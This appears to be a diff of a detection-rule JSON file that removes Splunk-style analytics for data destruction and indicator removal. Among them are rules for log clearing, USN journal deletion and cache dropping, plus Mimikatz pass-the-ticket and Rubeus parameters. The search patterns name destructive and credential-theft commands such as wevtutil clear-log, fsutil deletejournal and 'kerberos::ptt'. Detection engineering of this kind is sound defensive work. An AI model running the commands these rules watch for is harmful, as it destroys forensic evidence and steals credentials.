/etc/ssl/certs/ directory. This activity is significant because attackers may delete or modify SSL certificates to disable security features or evade defenses on a compromised system. If confirmed malicious, this behavior could indicate an attempt to disrupt secure communications, evade detection, or execute a destructive payload, potentially leading to significant security breaches and data loss.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.action=deleted Filesystem.file_path = \"/etc/ssl/certs/*\" Filesystem.file_path IN (\"*.pem\", \"*.crt\") by _time span=1h Filesystem.file_name Filesystem.file_path Filesystem.dest Filesystem.process_guid Filesystem.action | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `linux_deletion_of_ssl_certificate_filter`", - "tags": { - "analytic_story": [ - "AcidRain" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Attacker" - ] - } - ], - "message": "SSL certificate deleted on host $dest$ by process GUID- $process_guid$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1485", - "mitre_attack_technique": "Data Destruction", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "Gamaredon Group", - "LAPSUS$", - "Lazarus Group", - "Sandworm Team" - ] - }, - { - "mitre_attack_id": "T1070.004", - "mitre_attack_technique": "File Deletion", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "Cobalt Group", - "Dragonfly", - "Evilnum", - "FIN10", - "FIN5", - "FIN6", - "FIN8", - "Gamaredon Group", - "Group5", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Metador", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "Silence", - "TeamTNT", - "The White Company", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Linux High Frequency Of File Deletion In Boot Folder", - "description": "The following analytic detects a high frequency of file deletions in the /boot/ folder on Linux systems. It leverages filesystem event logs to identify when 200 or more files are deleted within an hour by the same process. This behavior is significant as it may indicate the presence of wiper malware, such as Industroyer2, which targets critical system directories. If confirmed malicious, this activity could lead to system instability or failure, hindering the boot process and potentially causing a complete system compromise.", - "search": "| tstats `security_content_summariesonly` values(Filesystem.file_name) as deletedFileNames values(Filesystem.file_path) as deletedFilePath dc(Filesystem.file_path) as numOfDelFilePath count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.action=deleted Filesystem.file_path = \"/boot/*\" by _time span=1h Filesystem.dest Filesystem.process_guid Filesystem.action | `drop_dm_object_name(Filesystem)` | where numOfDelFilePath >= 200 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_high_frequency_of_file_deletion_in_boot_folder_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Industroyer2" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Multiple files detection in /boot/ folder on $dest$ by process GUID - $process_guid$", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1485", - "mitre_attack_technique": "Data Destruction", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "Gamaredon Group", - "LAPSUS$", - "Lazarus Group", - "Sandworm Team" - ] - }, - { - "mitre_attack_id": "T1070.004", - "mitre_attack_technique": "File Deletion", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "Cobalt Group", - "Dragonfly", - "Evilnum", - "FIN10", - "FIN5", - "FIN6", - "FIN8", - "Gamaredon Group", - "Group5", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Metador", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "Silence", - "TeamTNT", - "The White Company", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Linux High Frequency Of File Deletion In Etc Folder", - "description": "The following analytic detects a high frequency of file deletions in the /etc/ folder on Linux systems. It leverages the Endpoint.Filesystem data model to identify instances where 200 or more files are deleted within an hour, grouped by process name and process ID. This behavior is significant as it may indicate the presence of wiper malware, such as AcidRain, which aims to delete critical system files. If confirmed malicious, this activity could lead to severe system instability, data loss, and potential disruption of services.", - "search": "| tstats `security_content_summariesonly` values(Filesystem.file_name) as deletedFileNames values(Filesystem.file_path) as deletedFilePath dc(Filesystem.file_path) as numOfDelFilePath count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.action=deleted Filesystem.file_path = \"/etc/*\" by _time span=1h Filesystem.dest Filesystem.process_guid Filesystem.action | `drop_dm_object_name(Filesystem)` | where numOfDelFilePath >= 200 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_high_frequency_of_file_deletion_in_etc_folder_filter`", - "tags": { - "analytic_story": [ - "AcidRain", - "Data Destruction" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Multiple files delted in /etc/ folder on $dest$ by process GUID - $process_guid$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1485", - "mitre_attack_technique": "Data Destruction", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "Gamaredon Group", - "LAPSUS$", - "Lazarus Group", - "Sandworm Team" - ] - }, - { - "mitre_attack_id": "T1070.004", - "mitre_attack_technique": "File Deletion", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "Cobalt Group", - "Dragonfly", - "Evilnum", - "FIN10", - "FIN5", - "FIN6", - "FIN8", - "Gamaredon Group", - "Group5", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Metador", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "Silence", - "TeamTNT", - "The White Company", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Linux Indicator Removal Clear Cache", - "description": "The following analytic detects processes that clear or free page cache on a Linux system. It leverages Endpoint Detection and Response (EDR) data, focusing on specific command-line executions involving the kernel system request `drop_caches`. This activity is significant as it may indicate an attempt to delete forensic evidence or the presence of wiper malware like Awfulshred. If confirmed malicious, this behavior could allow an attacker to cover their tracks, making it difficult to investigate other malicious activities or system compromises.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN (\"dash\", \"sudo\", \"bash\") AND Processes.process IN(\"* echo 3 > *\", \"* echo 2 > *\",\"* echo 1 > *\") AND Processes.process = \"*/proc/sys/vm/drop_caches\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `linux_indicator_removal_clear_cache_filter`", - "tags": { - "analytic_story": [ - "AwfulShred", - "Data Destruction" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "a $process_name$ clear cache using kernel drop cache system request in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Linux Indicator Removal Service File Deletion", - "description": "The following analytic detects the deletion of Linux service unit configuration files by suspicious processes. It leverages Endpoint Detection and Response (EDR) telemetry, focusing on processes executing the 'rm' command targeting '.service' files. This activity is significant as it may indicate malware attempting to disable critical services or security products, a common defense evasion tactic. If confirmed malicious, this behavior could lead to service disruption, security tool incapacitation, or complete system compromise, severely impacting the integrity and availability of the affected Linux host.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"rm\" AND Processes.process = \"*rm *\" AND Processes.process = \"*.service\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `linux_indicator_removal_service_file_deletion_filter`", - "tags": { - "analytic_story": [ - "AwfulShred", - "Data Destruction" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "a $process_name$ has a commandline $process$ to delete service configuration file in $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1070.004", - "mitre_attack_technique": "File Deletion", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "Cobalt Group", - "Dragonfly", - "Evilnum", - "FIN10", - "FIN5", - "FIN6", - "FIN8", - "Gamaredon Group", - "Group5", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Metador", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "Silence", - "TeamTNT", - "The White Company", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Process Deleting Its Process File Path", - "description": "The following analytic identifies a process attempting to delete its own file path, a behavior often associated with defense evasion techniques. This detection leverages Sysmon EventCode 1 logs, focusing on command lines executed via cmd.exe that include deletion commands. This activity is significant as it may indicate malware, such as Clop ransomware, trying to evade detection by removing its executable file if certain conditions are met. If confirmed malicious, this could allow the attacker to persist undetected, complicating incident response and remediation efforts.", - "search": "`sysmon` EventCode=1 CommandLine = \"* /c *\" CommandLine = \"* del*\" Image = \"*\\\\cmd.exe\" | eval result = if(like(process,\"%\".parent_process.\"%\"), \"Found\", \"Not Found\") | stats min(_time) as firstTime max(_time) as lastTime count by dest user ParentImage ParentCommandLine Image CommandLine EventCode ProcessID result | where result = \"Found\" | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `process_deleting_its_process_file_path_filter`", - "tags": { - "analytic_story": [ - "Clop Ransomware", - "Data Destruction", - "Remcos", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A process $Image$ tries to delete its process path in commandline $CommandLine$ as part of defense evasion in host $dest$ by user $user$", - "risk_score": 60, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Recursive Delete of Directory In Batch CMD", - "description": "The following analytic detects the execution of a batch command designed to recursively delete files or directories, a technique often used by ransomware like Reddot to delete files in the recycle bin and prevent recovery. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions that include specific flags for recursive and quiet deletions. This activity is significant as it indicates potential ransomware behavior aimed at data destruction. If confirmed malicious, it could lead to significant data loss and hinder recovery efforts, severely impacting business operations.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_cmd` Processes.process=*/c* Processes.process=\"* rd *\" Processes.process=\"*/s*\" Processes.process=\"*/q*\" by Processes.user Processes.process_name Processes.parent_process_name Processes.parent_process Processes.process Processes.process_id Processes.dest |`drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `recursive_delete_of_directory_in_batch_cmd_filter`", - "tags": { - "analytic_story": [ - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Recursive Delete of Directory In Batch CMD by $user$ on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1070.004", - "mitre_attack_technique": "File Deletion", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "Cobalt Group", - "Dragonfly", - "Evilnum", - "FIN10", - "FIN5", - "FIN6", - "FIN8", - "Gamaredon Group", - "Group5", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Metador", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "Silence", - "TeamTNT", - "The White Company", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Sdelete Application Execution", - "description": "The following analytic detects the execution of the sdelete.exe application, a Sysinternals tool often used by adversaries to securely delete files and remove forensic evidence from a targeted host. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs. Monitoring this activity is crucial as sdelete.exe is not commonly used in regular operations and its presence may indicate an attempt to cover malicious activities. If confirmed malicious, this could lead to the loss of critical forensic data, hindering incident response and investigation efforts.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process values(Processes.parent_process) as parent_process values(Processes.process_id) as process_id count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_sdelete` by Processes.process_name Processes.original_file_name Processes.dest Processes.user Processes.parent_process_name Processes.parent_process | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `sdelete_application_execution_filter`", - "tags": { - "analytic_story": [ - "Masquerading - Rename System Utilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "sdelete process $process_name$ executed in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1485", - "mitre_attack_technique": "Data Destruction", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "Gamaredon Group", - "LAPSUS$", - "Lazarus Group", - "Sandworm Team" - ] - }, - { - "mitre_attack_id": "T1070.004", - "mitre_attack_technique": "File Deletion", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "Cobalt Group", - "Dragonfly", - "Evilnum", - "FIN10", - "FIN5", - "FIN6", - "FIN8", - "Gamaredon Group", - "Group5", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Metador", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "Silence", - "TeamTNT", - "The White Company", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Suspicious Event Log Service Behavior", - "description": "The following analytic detects the shutdown of the Windows Event Log service using Windows Event ID 1100. This event is logged every time the service stops, including during normal system shutdowns. Monitoring this activity is crucial as it can indicate attempts to cover tracks or disable logging. If confirmed malicious, an attacker could hide their activities, making it difficult to trace their actions and investigate further incidents. Analysts should verify if the shutdown was planned and review other alerts and data sources for additional suspicious behavior.", - "search": "(`wineventlog_security` EventCode=1100) | stats count min(_time) as firstTime max(_time) as lastTime by dest name EventCode | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `suspicious_event_log_service_behavior_filter`", - "tags": { - "analytic_story": [ - "Clop Ransomware", - "Ransomware", - "Windows Log Manipulation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "The Windows Event Log Service shutdown on $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1070.001", - "mitre_attack_technique": "Clear Windows Event Logs", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT38", - "APT41", - "Chimera", - "Dragonfly", - "FIN5", - "FIN8", - "Indrik Spider" - ] - } - ] - } - }, - { - "name": "Suspicious wevtutil Usage", - "description": "The following analytic detects the usage of wevtutil.exe with parameters for clearing event logs such as Application, Security, Setup, Trace, or System. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. This activity is significant because clearing event logs can be an attempt to cover tracks after malicious actions, hindering forensic investigations. If confirmed malicious, this behavior could allow an attacker to erase evidence of their activities, making it difficult to trace their actions and understand the full scope of the compromise.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=wevtutil.exe Processes.process IN (\"* cl *\", \"*clear-log*\") (Processes.process=\"*System*\" OR Processes.process=\"*Security*\" OR Processes.process=\"*Setup*\" OR Processes.process=\"*Application*\" OR Processes.process=\"*trace*\") by Processes.process_name Processes.parent_process_name Processes.dest Processes.user| `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `suspicious_wevtutil_usage_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Clop Ransomware", - "Ransomware", - "Rhysida Ransomware", - "Windows Log Manipulation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Wevtutil.exe being used to clear Event Logs on $dest$ by $user$", - "risk_score": 28, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1070.001", - "mitre_attack_technique": "Clear Windows Event Logs", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT38", - "APT41", - "Chimera", - "Dragonfly", - "FIN5", - "FIN8", - "Indrik Spider" - ] - }, - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "USN Journal Deletion", - "description": "The following analytic detects the deletion of the USN Journal using the fsutil.exe utility. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line details. This activity is significant because the USN Journal maintains a log of all changes made to files on the disk, and its deletion can be an indicator of an attempt to cover tracks or hinder forensic investigations. If confirmed malicious, this action could allow an attacker to obscure their activities, making it difficult to trace file modifications and potentially compromising incident response efforts.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process) as process values(Processes.parent_process) as parent_process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=fsutil.exe by Processes.user Processes.process_name Processes.parent_process_name Processes.dest | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | search process=\"*deletejournal*\" AND process=\"*usn*\" | `usn_journal_deletion_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Windows Log Manipulation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Possible USN journal deletion on $dest$", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Windows Event Log Cleared", - "description": "The following analytic detects the clearing of Windows event logs by identifying Windows Security Event ID 1102 or System log event 104. This detection leverages Windows event logs to monitor for log clearing activities. Such behavior is significant as it may indicate an attempt to cover tracks after malicious activities. If confirmed malicious, this action could hinder forensic investigations and allow attackers to persist undetected, making it crucial to investigate further and correlate with other alerts and data sources.", - "search": "(`wineventlog_security` EventCode=1102) OR (`wineventlog_system` EventCode=104) | stats count min(_time) as firstTime max(_time) as lastTime by dest name EventCode | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_event_log_cleared_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-264A", - "Clop Ransomware", - "Ransomware", - "Windows Log Manipulation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows event logs cleared on $dest$ via EventCode $EventCode$", - "risk_score": 70, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1070.001", - "mitre_attack_technique": "Clear Windows Event Logs", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT38", - "APT41", - "Chimera", - "Dragonfly", - "FIN5", - "FIN8", - "Indrik Spider" - ] - } - ] - } - }, - { - "name": "Windows Indicator Removal Via Rmdir", - "description": "The following analytic detects the execution of the 'rmdir' command with '/s' and '/q' options to delete files and directory trees. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions and process metadata. This activity is significant as it may indicate malware attempting to remove traces or components during cleanup operations. If confirmed malicious, this behavior could allow attackers to eliminate forensic evidence, hinder incident response efforts, and maintain persistence by removing indicators of compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process = \"*rmdir*\" Processes.process = \"* /s *\" Processes.process = \"* /q *\" by Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.process_guid Processes.parent_process_name Processes.parent_process Processes.parent_process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_indicator_removal_via_rmdir_filter`", - "tags": { - "analytic_story": [ - "DarkGate Malware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a process execute rmdir command to delete files and directory tree in $dest$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -428422,245 +294257,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/ad-ds-getting-started" ] - }, - { - "name": "Mimikatz PassTheTicket CommandLine Parameters", - "description": "The following analytic detects the use of Mimikatz command line parameters associated with pass-the-ticket attacks. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific command-line patterns related to Kerberos ticket manipulation. This activity is significant because pass-the-ticket attacks allow adversaries to move laterally within an environment using stolen Kerberos tickets, bypassing normal access controls. If confirmed malicious, this could enable attackers to escalate privileges, access sensitive information, and maintain persistence within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process = \"*sekurlsa::tickets /export*\" OR Processes.process = \"*kerberos::ptt*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `mimikatz_passtheticket_commandline_parameters_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "CISA AA22-320A", - "CISA AA23-347A", - "Sandworm Tools" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - } - ], - "message": "Mimikatz command line parameters for pass the ticket attacks were used on $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1550", - "mitre_attack_technique": "Use Alternate Authentication Material", - "mitre_attack_tactics": [ - "Defense Evasion", - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1550.003", - "mitre_attack_technique": "Pass the Ticket", - "mitre_attack_tactics": [ - "Defense Evasion", - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "BRONZE BUTLER" - ] - } - ] - } - }, - { - "name": "Rubeus Command Line Parameters", - "description": "The following analytic detects the use of Rubeus command line parameters, a toolset for Kerberos attacks within Active Directory environments. It leverages Endpoint Detection and Response (EDR) data to identify specific command-line arguments associated with actions like ticket manipulation, 